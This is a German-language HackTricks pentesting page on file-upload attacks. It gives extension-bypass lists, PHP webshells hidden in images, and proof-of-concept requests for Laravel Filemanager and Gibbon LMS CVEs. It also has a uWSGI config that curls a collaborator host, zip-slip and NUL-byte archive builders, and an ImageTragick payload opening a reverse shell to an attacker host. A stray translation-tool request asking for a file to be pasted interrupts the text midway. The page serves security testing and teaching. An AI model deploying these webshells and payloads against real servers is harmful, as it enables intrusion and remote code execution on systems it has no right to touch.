Datei-Upload

Reading time: 27 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Allgemeine Methodik für Datei-Uploads

Weitere nützliche Erweiterungen:

  • PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module
  • Working in PHPv8: .php, .php4, .php5, .phtml_, .module_, .inc_, .hphp_, .ctp_
  • ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml
  • Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action
  • Coldfusion: .cfm, .cfml, .cfc, .dbm
  • Flash: .swf
  • Perl: .pl, .cgi
  • Erlang Yaws Web Server: .yaws

Umgehen von Dateierweiterungsprüfungen

  1. Falls vorhanden, prüfe die vorherigen Erweiterungen. Teste sie auch mit einigen Großbuchstaben: pHp, .pHP5, .PhAr ...
  2. Prüfe das Hinzufügen einer gültigen Erweiterung vor der Ausführungs-Erweiterung (verwende auch die vorherigen Erweiterungen):
  • file.png.php
  • file.png.Php5
  1. Versuche, Sonderzeichen am Ende hinzuzufügen. Du kannst Burp verwenden, um alle ascii und Unicode Zeichen zu bruteforcen. (Beachte, dass du auch versuchen kannst, die zuvor genannten Erweiterungen zu verwenden)
  • file.php%20
  • file.php%0a
  • file.php%00
  • file.php%0d%0a
  • file.php/
  • file.php.\
  • file.
  • file.php....
  • file.pHp5....
  1. Versuche, die Schutzmechanismen zu umgehen, indem du den Erweiterungsparser auf Serverseite täuschst, z. B. durch Verdoppeln der Erweiterung oder das Einfügen von Junk-Daten (null bytes) zwischen Erweiterungen. Du kannst auch die vorherigen Erweiterungen verwenden, um ein besseres Payload vorzubereiten.
  • file.png.php
  • file.png.pHp5
  • file.php#.png
  • file.php%00.png
  • file.php\x00.png
  • file.php%0a.png
  • file.php%0d%0a.png
  • file.phpJunk123png
  1. Füge eine weitere Schicht von Erweiterungen zu den vorherigen Tests hinzu:
  • file.png.jpg.php
  • file.php%00.png%00.jpg
  1. Versuche, die Ausführungs-Erweiterung vor der gültigen Erweiterung zu platzieren und hoffe, dass der Server falsch konfiguriert ist. (Nützlich, um Apache-Fehlkonfigurationen auszunutzen, bei denen alles mit der Erweiterung .php, aber nicht notwendigerweise mit .php endend, Code ausführt):
  • ex: file.php.png
  1. Verwendung von NTFS alternate data stream (ADS) unter Windows. In diesem Fall wird ein Doppelpunkt ":" nach einer verbotenen Erweiterung und vor einer erlaubten eingefügt. In der Folge wird eine leere Datei mit der verbotenen Erweiterung auf dem Server erstellt (z. B. "file.asax:.jpg"). Diese Datei kann später mit anderen Techniken bearbeitet werden, z. B. durch Nutzung ihres short filename. Das "::$data”-Muster kann ebenfalls verwendet werden, um nicht-leere Dateien zu erstellen. Daher kann das Hinzufügen eines Punktes nach diesem Muster nützlich sein, um weitere Einschränkungen zu umgehen (z. B. "file.asp::$data.").
  2. Versuche, die Grenzwerte für Dateinamen zu überschreiten. Die gültige Erweiterung wird abgeschnitten und das bösartige PHP bleibt übrig. AAA<--SNIP-->AAA.php
# Linux maximum 255 bytes
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png
# Upload the file and check response how many characters it alllows. Let's say 236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# Make the payload
AAA<--SNIP 232 A-->AAA.php.png

UniSharp Laravel Filemanager pre-2.9.1 (.php. trailing dot) – CVE-2024-21546

Einige Upload-Handler kürzen oder normalisieren nachgestellte Punktzeichen im gespeicherten Dateinamen. In UniSharp’s Laravel Filemanager (unisharp/laravel-filemanager) Versionen vor 2.9.1 kannst du die Erweiterungsvalidierung umgehen, indem du:

  • einen gültigen image MIME und einen Magic-Header verwendest (z. B. PNG’s \x89PNG\r\n\x1a\n).
  • die hochgeladene Datei mit einer PHP-Erweiterung gefolgt von einem Punkt benennst, z. B. shell.php..
  • Der Server entfernt den nachgestellten Punkt und speichert shell.php, welches ausgeführt wird, wenn es in einem vom Web bereitgestellten Verzeichnis platziert wird (standardmäßig public storage wie /storage/files/).

Minimaler PoC (Burp Repeater):

http
POST /profile/avatar HTTP/1.1
Host: target
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="upload"; filename="0xdf.php."
Content-Type: image/png

\x89PNG\r\n\x1a\n<?php system($_GET['cmd']??'id'); ?>
------WebKitFormBoundary--

Dann rufe den gespeicherten Pfad auf (typisch in Laravel + LFM):

GET /storage/files/0xdf.php?cmd=id

Bypass Content-Type, Magic Number, Compression & Resizing

  • Bypass Content-Type-Checks, indem Sie den Wert des Content-Type-Headers auf setzen: image/png, text/plain, application/octet-stream
  1. Content-Type Wortliste: https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt
  • Umgehen der magic number-Prüfung, indem Sie am Anfang der Datei die Bytes eines echten Bildes hinzufügen (um den file-Befehl zu verwirren). Oder die Shell in den Metadaten einfügen:
    exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg
    \ oder Sie können das Payload direkt in ein Bild einfügen:
    echo '<?php system($_REQUEST['cmd']); ?>' >> img.png
  • Wenn Ihrerseits Kompressionen zum Bild hinzugefügt werden, zum Beispiel durch Standard-PHP-Bibliotheken wie PHP-GD, sind die vorherigen Techniken nicht mehr nützlich. Sie können jedoch den PLTE chunk in dieser Technik beschrieben verwenden, um Text einzufügen, der die Kompression überlebt.
  • Github mit dem Code
  • Die Webseite könnte das Image auch resizen, zum Beispiel mit den PHP-GD-Funktionen imagecopyresized oder imagecopyresampled. Sie können jedoch den IDAT chunk in dieser Technik beschrieben verwenden, um Text einzufügen, der die Kompression überlebt.
  • Github mit dem Code
  • Eine weitere Technik, um ein Payload zu erstellen, das ein Image-Resizing überlebt, verwendet die PHP-GD-Funktion thumbnailImage. Alternativ können Sie den tEXt chunk in dieser Technik beschrieben verwenden, um Text einzufügen, der die Kompression überlebt.
  • Github mit dem Code

Other Tricks to check

  • Finden Sie eine Schwachstelle, um die bereits hochgeladene Datei zu rename (um die Extension zu ändern).
  • Finden Sie eine Local File Inclusion-Schwachstelle, um den Backdoor auszuführen.
  • Mögliche Informationsoffenlegung:
  1. Laden Sie mehrfach (und zur gleichen Zeit) dieselbe Datei mit demselben Namen hoch
  2. Laden Sie eine Datei mit dem Namen einer bereits vorhandenen Datei oder eines Ordners hoch
  3. Laden Sie eine Datei mit "." , ".." oder "…" als Name hoch. Zum Beispiel erzeugt in Apache unter Windows, wenn die Anwendung die hochgeladenen Dateien im Verzeichnis "/www/uploads/" speichert, der Dateiname "." eine Datei namens uploads” im Verzeichnis "/www/".
  4. Laden Sie eine Datei hoch, die nicht leicht gelöscht werden kann, z. B. "…:.jpg" in NTFS. (Windows)
  5. Laden Sie eine Datei in Windows mit ungültigen Zeichen wie |<>*?” im Namen hoch. (Windows)
  6. Laden Sie eine Datei in Windows unter Verwendung von reservierten (verbotenen) Namen wie CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8 und LPT9 hoch.
  • Versuchen Sie auch, ein executable (.exe) oder eine .html (weniger verdächtig) hochzuladen, die beim versehentlichen Öffnen durch das Opfer Code ausführt.

Special extension tricks

Wenn Sie versuchen, Dateien auf einen PHP server hochzuladen, sehen Sie sich den .htaccess-Trick zum Ausführen von Code an.
Wenn Sie versuchen, Dateien auf einen ASP server hochzuladen, sehen Sie sich den .config-Trick zum Ausführen von Code an.

Die .phar-Dateien sind wie die .jar für Java, aber für PHP, und können wie eine PHP-Datei verwendet werden (mit php ausgeführt oder innerhalb eines Skripts included...).

Die .inc-Extension wird manchmal für PHP-Dateien verwendet, die nur zum importieren von Dateien dienen, sodass irgendwann jemand diese Extension zur Ausführung zugelassen haben könnte.

Jetty RCE

If you can upload a XML file into a Jetty server you can obtain RCE because **new .xml and .war are automatically processed. So, as mentioned in the following image, upload the XML file to $JETTY_BASE/webapps/ and expect the shell!

https://twitter.com/ptswarm/status/1555184661751648256/photo/1

uWSGI RCE

For a detailed exploration of this vulnerability check the original research: uWSGI RCE Exploitation.

Remote Command Execution (RCE)-Schwachstellen können auf uWSGI-Servern ausgenutzt werden, wenn man die Möglichkeit hat, die .ini-Konfigurationsdatei zu ändern. uWSGI-Konfigurationsdateien nutzen eine spezielle Syntax, um "magic" Variablen, Platzhalter und Operatoren einzubinden. Auffällig ist insbesondere der '@' Operator, der als @(filename) verwendet wird und dazu dient, den Inhalt einer Datei einzubinden. Unter den verschiedenen in uWSGI unterstützten schemes ist das "exec"-scheme besonders mächtig, da es das Lesen von Daten aus der Standardausgabe eines Prozesses erlaubt. Diese Funktion kann beim Verarbeiten einer .ini-Konfigurationsdatei für böswillige Zwecke wie Remote Command Execution oder Arbitrary File Write/Read missbraucht werden.

Consider the following example of a harmful uwsgi.ini file, showcasing various schemes:

ini
[uwsgi]
; read from a symbol
foo = @(sym://uwsgi_funny_function)
; read from binary appended data
bar = @(data://[REDACTED])
; read from http
test = @(http://[REDACTED])
; read from a file descriptor
content = @(fd://[REDACTED])
; read from a process stdout
body = @(exec://whoami)
; curl to exfil via collaborator
extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)

Die Ausführung des payloads erfolgt während des Parsings der Konfigurationsdatei. Damit die Konfiguration aktiviert und geparst wird, muss der uWSGI-Prozess entweder neu gestartet werden (möglicherweise nach einem Crash oder aufgrund eines Denial of Service-Angriffs) oder die Datei muss auf auto-reload gesetzt sein. Die auto-reload-Funktion, falls aktiviert, lädt die Datei in festgelegten Intervallen neu, sobald Änderungen erkannt werden.

Es ist wichtig, die laxen Eigenschaften des Parsings der uWSGI-Konfigurationsdatei zu verstehen. Konkret kann der beschriebene payload in eine binary file (z. B. ein image oder PDF) eingefügt werden, wodurch sich der Exploit-Radius weiter vergrößert.

Gibbon LMS arbitrary file write to pre-auth RCE (CVE-2023-45878)

Ein unauthenticated endpoint in Gibbon LMS erlaubt arbitrary file write innerhalb des web root und führt zu pre-auth RCE, indem eine PHP-Datei abgelegt wird. Betroffene Versionen: bis einschließlich 25.0.01.

  • Endpoint: /Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php
  • Method: POST
  • Erforderliche Parameter:
  • img: data-URI-like string: [mime];[name],[base64] (Server ignoriert type/name und dekodiert das Ende per base64)
  • path: Ziel-Dateiname relativ zum Gibbon install dir (z. B. poc.php oder 0xdf.php)
  • gibbonPersonID: jeder nicht-leere Wert wird akzeptiert (z. B. 0000000001)

Minimaler PoC, um eine Datei zu schreiben und wieder auszulesen:

bash
# Prepare test payload
printf '0xdf was here!' | base64
# => MHhkZiB3YXMgaGVyZSEK

# Write poc.php via unauth POST
curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
-d 'img=image/png;test,MHhkZiB3YXMgaGVyZSEK&path=poc.php&gibbonPersonID=0000000001'

# Verify write
curl http://target/Gibbon-LMS/poc.php

Lade eine minimale webshell hoch und führe Befehle aus:

bash
# '<?php system($_GET["cmd"]); ?>' base64
# PD9waHAgIHN5c3RlbSgkX0dFVFsiY21kIl0pOyA/Pg==

curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
-d 'img=image/png;foo,PD9waHAgIHN5c3RlbSgkX0dFVFsiY21kIl0pOyA/Pg==&path=shell.php&gibbonPersonID=0000000001'

curl 'http://target/Gibbon-LMS/shell.php?cmd=whoami'

Notes:

  • Der Handler führt base64_decode($_POST["img"]) aus, nachdem er nach ; und , aufgeteilt hat, und schreibt dann Bytes nach $absolutePath . '/' . $_POST['path'] ohne Extension/Typ zu validieren.
  • Der resultierende Code läuft als Web service user (z. B. XAMPP Apache on Windows).

Referenzen für diesen Bug umfassen das usd HeroLab advisory und den NVD-Eintrag. Siehe den Abschnitt References weiter unten.

wget File Upload/SSRF Trick

In einigen Fällen kann es vorkommen, dass ein Server wget verwendet, um Dateien herunterzuladen, und Sie die URL angeben können. In solchen Fällen prüft der Code möglicherweise, ob die Extension der heruntergeladenen Dateien in einer Whitelist enthalten ist, um sicherzustellen, dass nur erlaubte Dateien heruntergeladen werden. Allerdings kann diese Prüfung umgangen werden.\

Die maximale Länge eines Dateinamens unter linux ist 255, jedoch kürzt wget die Dateinamen auf 236 Zeichen. Man kann eine Datei namens *"A"232+".php"+".gif" herunterladen; dieser Dateiname wird die Prüfung umgehen (da in diesem Beispiel ".gif" eine gültige Extension ist), aber wget wird die Datei in *"A"232+".php" umbenennen.

bash
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
python3 -m http.server 9080
bash
#Download the file
wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")')
The name is too long, 240 chars total.
Trying to shorten...
New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.
--2020-06-13 03:14:06--  http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif
Connecting to 127.0.0.1:9080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10 [image/gif]
Saving to: ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’

AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>]      10  --.-KB/s    in 0s

2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]

Note that another option you may be thinking of to bypass this check is to make the HTTP server redirect to a different file, so the initial URL will bypass the check by then wget will download the redirected file with the new name. This won't work unless wget is being used with the parameter --trust-server-names because wget will download the redirected page with the name of the file indicated in the original URL.

Escaping upload directory via NTFS junctions (Windows)

(For this attack you will need local access to the Windows machine) When uploads are stored under per-user subfolders on Windows (e.g., C:\Windows\Tasks\Uploads<id>) and you control creation/deletion of that subfolder, you can replace it with a directory junction pointing to a sensitive location (e.g., the webroot). Subsequent uploads will be written into the target path, enabling code execution if the target interprets server‑side code.

Example flow to redirect uploads into XAMPP webroot:

cmd
:: 1) Upload once to learn/confirm your per-user folder name (e.g., md5 of form fields)
::    Observe it on disk: C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882

:: 2) Remove the created folder and create a junction to webroot
rmdir C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882
cmd /c mklink /J C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882 C:\xampp\htdocs

:: 3) Re-upload your payload; it lands under C:\xampp\htdocs
::    Minimal PHP webshell for testing
::    <?php echo shell_exec($_REQUEST['cmd']); ?>

:: 4) Trigger
curl "http://TARGET/shell.php?cmd=whoami"

Hinweise

  • mklink /J creates an NTFS directory junction (reparse point). The web server’s account must follow the junction and have write permission in the destination.
  • This redirects arbitrary file writes; if the destination executes scripts (PHP/ASP), this becomes RCE.
  • Defenses: don’t allow writable upload roots to be attacker‑controllable under C:\Windows\Tasks or similar; block junction creation; validate extensions server‑side; store uploads on a separate volume or with deny‑execute ACLs.

GZIP-compressed body upload + path traversal in destination param → JSP webshell RCE (Tomcat)

Einige Upload-/Ingest-Handler schreiben den rohen Request-Body in einen Dateisystempfad, der aus vom Benutzer kontrollierten query-Parametern konstruiert wird. Unterstützt der Handler außerdem Content-Encoding: gzip und versäumt es, den Zielpfad zu kanonisieren/validieren, kann man directory traversal mit einem gzipped Payload kombinieren, um beliebige Bytes in ein webbasiertes Verzeichnis zu schreiben und RCE zu erlangen (z. B. eine JSP unter Tomcat’s webapps ablegen).

Allgemeiner Exploit-Ablauf:

  • Prepare your server-side payload (e.g., minimal JSP webshell) and gzip-komprimiere die Bytes.
  • Sende ein POST, bei dem ein path-Parameter (z. B. token) traversal enthält, das aus dem vorgesehenen Ordner ausbricht, und file den Dateinamen angibt, unter dem gespeichert werden soll. Setze Content-Type: application/octet-stream und Content-Encoding: gzip; der Body ist der komprimierte Payload.
  • Rufe die geschriebene Datei im Browser auf, um die Ausführung auszulösen.

Illustrative request:

http
POST /fileupload?token=..%2f..%2f..%2f..%2fopt%2ftomcat%2fwebapps%2fROOT%2Fjsp%2F&file=shell.jsp HTTP/1.1
Host: target
Content-Type: application/octet-stream
Content-Encoding: gzip
Content-Length: <len>

<gzip-compressed-bytes-of-your-jsp>

Bitte den Inhalt der Datei src/pentesting-web/file-upload/README.md hier einfügen — dann übersetze ich den relevanten englischen Text ins Deutsche unter Beibehaltung aller Markdown/HTML-Tags, Pfade und Links.

http
GET /jsp/shell.jsp?cmd=id HTTP/1.1
Host: target

Notes

  • Target paths vary by install (e.g., /opt/TRUfusion/web/tomcat/webapps/trufusionPortal/jsp/ in some stacks). Any web-exposed folder that executes JSP will work.
  • Burp Suite’s Hackvertor extension can produce a correct gzip body from your payload.
  • This is a pure pre-auth arbitrary file write → RCE pattern; it does not rely on multipart parsing.

Gegenmaßnahmen

  • Derive upload destinations server-side; never trust path fragments from clients.
  • Canonicalize and enforce that the resolved path stays within an allow-listed base directory.
  • Store uploads on a non-executable volume and deny script execution from writable paths.

Werkzeuge

  • Upload Bypass is a powerful tool designed to assist Pentesters and Bug Hunters in testing file upload mechanisms. It leverages various bug bounty techniques to simplify the process of identifying and exploiting vulnerabilities, ensuring thorough assessments of web applications.

Corrupting upload indices with snprintf quirks (historical)

Some legacy upload handlers that use snprintf() or similar to build multi-file arrays from a single-file upload can be tricked into forging the _FILES structure. Due to inconsistencies and truncation in snprintf() behavior, a carefully crafted single upload can appear as multiple indexed files on the server side, confusing logic that assumes a strict shape (e.g., treating it as a multi-file upload and taking unsafe branches). While niche today, this “index corruption” pattern occasionally resurfaces in CTFs and older codebases.

From File upload to other vulnerabilities

Hier ist eine Top-10-Liste von Dingen, die du durch Upload erreichen kannst (von here):

  1. ASP / ASPX / PHP5 / PHP / PHP3: Webshell / RCE
  2. SVG: Stored XSS / SSRF / XXE
  3. GIF: Stored XSS / SSRF
  4. CSV: CSV injection
  5. XML: XXE
  6. AVI: LFI / SSRF
  7. HTML / JS : HTML injection / XSS / Open redirect
  8. PNG / JPEG: Pixel flood attack (DoS)
  9. ZIP: RCE via LFI / DoS
  10. PDF / PPTX: SSRF / BLIND XXE

Burp Extension

GitHub - PortSwigger/upload-scanner: HTTP file upload scanner for Burp Proxy

Magische Header-Bytes

  • PNG: "\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\x s0\x03["
  • JPG: "\xff\xd8\xff"

Refer to https://en.wikipedia.org/wiki/List_of_file_signatures for other filetypes.

Zip/Tar-Datei, die beim Upload automatisch dekomprimiert wird

If you can upload a ZIP that is going to be decompressed inside the server, you can do 2 things:

Upload a link containing soft links to other files, then, accessing the decompressed files you will access the linked files:

ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
tar -cvf test.tar symindex.txt

Dekomprimieren in verschiedene Ordner

Die unerwartete Erstellung von Dateien in Verzeichnissen während der Dekompression ist ein erhebliches Problem. Trotz anfänglicher Annahme, dass diese Konfiguration vor OS-Level-Kommandoausführung durch bösartige Dateiuploads schützen könnte, kann die hierarchische Komprimierungsunterstützung und die Directory-Traversal-Fähigkeit des ZIP-Archivformats ausgenutzt werden. Dadurch können Angreifer Beschränkungen umgehen und aus sicheren Upload-Verzeichnissen entkommen, indem sie die Dekompressionsfunktionalität der angegriffenen Anwendung manipulieren.

Ein automatisiertes Tool, um solche Dateien zu erzeugen, ist verfügbar unter evilarc on GitHub. Das Dienstprogramm kann wie folgt verwendet werden:

python
# Listing available options
python2 evilarc.py -h
# Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php

Zusätzlich ist der symlink trick with evilarc eine Option. Wenn das Ziel darin besteht, eine Datei wie /flag.txt anzuvisieren, sollte in deinem System ein Symlink auf diese Datei erstellt werden. Dadurch wird sichergestellt, dass evilarc während seiner Ausführung nicht auf Fehler stößt.

Unten folgt ein Beispiel für Python code, das verwendet wird, um eine bösartige ZIP-Datei zu erstellen:

python
#!/usr/bin/python
import zipfile
from io import BytesIO


def create_zip():
f = BytesIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
z.writestr('../../../../../var/www/html/webserver/shell.php', '<?php echo system($_REQUEST["cmd"]); ?>')
z.writestr('otherfile.xml', 'Content of the file')
z.close()
zip = open('poc.zip','wb')
zip.write(f.getvalue())
zip.close()

create_zip()

Missbrauch von Kompression für file spraying

Für weitere Details siehe den Originalbeitrag unter: https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/

  1. Creating a PHP Shell: PHP-Code wird geschrieben, um Befehle auszuwerten, die über die $_REQUEST-Variable übergeben werden.
php
<?php
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST['cmd']);
system($cmd);
}?>
  1. File Spraying and Compressed File Creation: Mehrere Dateien werden erstellt und ein ZIP-Archiv wird zusammengestellt, das diese Dateien enthält.
bash
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# zip cmd.zip xx*.php
  1. Modification with a Hex Editor or vi: Die Namen der Dateien innerhalb des ZIPs werden mit vi oder einem Hex-Editor verändert, indem "xxA" in "../" geändert wird, um Verzeichnisse zu traversieren.
bash
:set modifiable
:%s/xxA/../g
:x!

ZIP NUL-byte filename smuggling (PHP ZipArchive confusion)

Wenn ein Backend ZIP-Einträge mit PHP’s ZipArchive validiert, die Extraktion aber die Dateien mit den rohen Namen ins Dateisystem schreibt, kann man eine nicht erlaubte Extension einschleusen, indem man ein NUL (0x00) in die Dateinamenfelder einfügt. ZipArchive behandelt den Eintragsnamen als C‑String und kürzt ihn am ersten NUL; das Dateisystem schreibt den vollen Namen, wobei alles nach dem NUL entfernt wird.

High-level flow:

  • Bereite eine legitime Container-Datei vor (z. B. eine gültige PDF), die einen winzigen PHP-Stub in einem Stream einbettet, sodass magic/MIME weiterhin eine PDF bleibt.
  • Benenne sie z. B. shell.php..pdf, zippe sie, und hex‑editere dann den ZIP local header und den central directory filename, um den ersten . nach .php durch 0x00 zu ersetzen, was zu shell.php\x00.pdf führt.
  • Validatoren, die auf ZipArchive vertrauen, werden shell.php .pdf "sehen" und erlauben; der Extractor schreibt shell.php auf die Festplatte, was zu RCE führt, wenn der Upload-Ordner ausführbar ist.

Minimal PoC steps:

bash
# 1) Build a polyglot PDF containing a tiny webshell (still a valid PDF)
printf '%s' "%PDF-1.3\n1 0 obj<<>>stream\n<?php system($_REQUEST["cmd"]); ?>\nendstream\nendobj\n%%EOF" > embedded.pdf

# 2) Trick name and zip
cp embedded.pdf shell.php..pdf
zip null.zip shell.php..pdf

# 3) Hex-edit both the local header and central directory filename fields
#    Replace the dot right after ".php" with 00 (NUL) => shell.php\x00.pdf
#    Tools: hexcurse, bless, bvi, wxHexEditor, etc.

# 4) Local validation behavior
php -r '$z=new ZipArchive; $z->open("null.zip"); echo $z->getNameIndex(0),"\n";'
# -> shows truncated at NUL (looks like ".pdf" suffix)

Hinweise

  • Ändere BEIDE Vorkommen des Dateinamens (lokales und zentrales Verzeichnis). Einige Tools fügen außerdem einen zusätzlichen data descriptor‑Eintrag hinzu – passe alle name‑Felder an, falls vorhanden.
  • Die payload‑Datei muss weiterhin serverseitiges magic/MIME sniffing bestehen. Das Einbetten des PHP in einen PDF‑Stream hält den Header gültig.
  • Funktioniert dort, wo der enum/validation‑Pfad und der extraction/write‑Pfad bei der String‑Verarbeitung uneinig sind.

Gestapelte/verkettete ZIPs (Parser‑Uneinigkeit)

Das Aneinanderhängen von zwei gültigen ZIP‑Dateien erzeugt einen Blob, bei dem unterschiedliche Parser sich auf verschiedene EOCD‑Einträge konzentrieren. Viele Tools lokalisieren das letzte End Of Central Directory (EOCD), während einige Bibliotheken (z. B. ZipArchive in bestimmten Workflows) das erste gefundene Archiv parsen können. Wenn validation das erste Archiv enumeriert und extraction ein anderes Tool verwendet, das das letzte EOCD berücksichtigt, kann ein harmloses Archiv die Prüfungen bestehen, während ein bösartiges extrahiert wird.

PoC:

bash
# Build two separate archives
printf test > t1; printf test2 > t2
zip zip1.zip t1; zip zip2.zip t2

# Stack them
cat zip1.zip zip2.zip > combo.zip

# Different views
unzip -l combo.zip   # warns about extra bytes; often lists entries from the last archive
php -r '$z=new ZipArchive; $z->open("combo.zip"); for($i=0;$i<$z->numFiles;$i++) echo $z->getNameIndex($i),"\n";'

Missbrauchsmuster

  • Erstelle ein harmloses Archiv (erlaubter Typ, z. B. ein PDF) und ein zweites Archiv, das eine blockierte Erweiterung enthält (z. B. shell.php).
  • Verbinde sie: cat benign.zip evil.zip > combined.zip.
  • Wenn der Server mit einem Parser validiert (sieht benign.zip), aber mit einem anderen extrahiert (verarbeitet evil.zip), landet die blockierte Datei im Extraktionspfad.

ImageTragic

Lade diesen Inhalt mit einer Bild-Dateiendung hoch, um die Schwachstelle auszunutzen (ImageMagick, 7.0.1-1) (aus dem exploit)

push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context

Einbetten einer PHP Shell in PNG

Das Einbetten einer PHP Shell in den IDAT-Chunk einer PNG-Datei kann bestimmte Bildverarbeitungsoperationen effektiv umgehen. Die Funktionen imagecopyresized und imagecopyresampled von PHP-GD sind in diesem Zusammenhang besonders relevant, da sie häufig für das Resizing bzw. Resampling von Bildern verwendet werden. Dass die eingebettete PHP Shell von diesen Operationen unbeeinträchtigt bleibt, ist für bestimmte Anwendungsfälle ein großer Vorteil.

Eine detaillierte Untersuchung dieser Technik, einschließlich Methodik und möglicher Anwendungen, findet sich im folgenden Artikel: "Encoding Web Shells in PNG IDAT chunks". Diese Ressource bietet ein umfassendes Verständnis des Prozesses und seiner Implikationen.

Mehr Informationen in: https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

Polyglot-Dateien

Polyglot files fungieren als Chamäleons und können gleichzeitig in mehreren Dateiformaten gültig sein. Ein interessantes Beispiel ist ein GIFAR, ein Hybrid, der sowohl als GIF als auch als RAR-Archiv funktioniert. Solche Dateien sind nicht auf dieses Paar beschränkt; Kombinationen wie GIF und JS oder PPT und JS sind ebenfalls möglich.

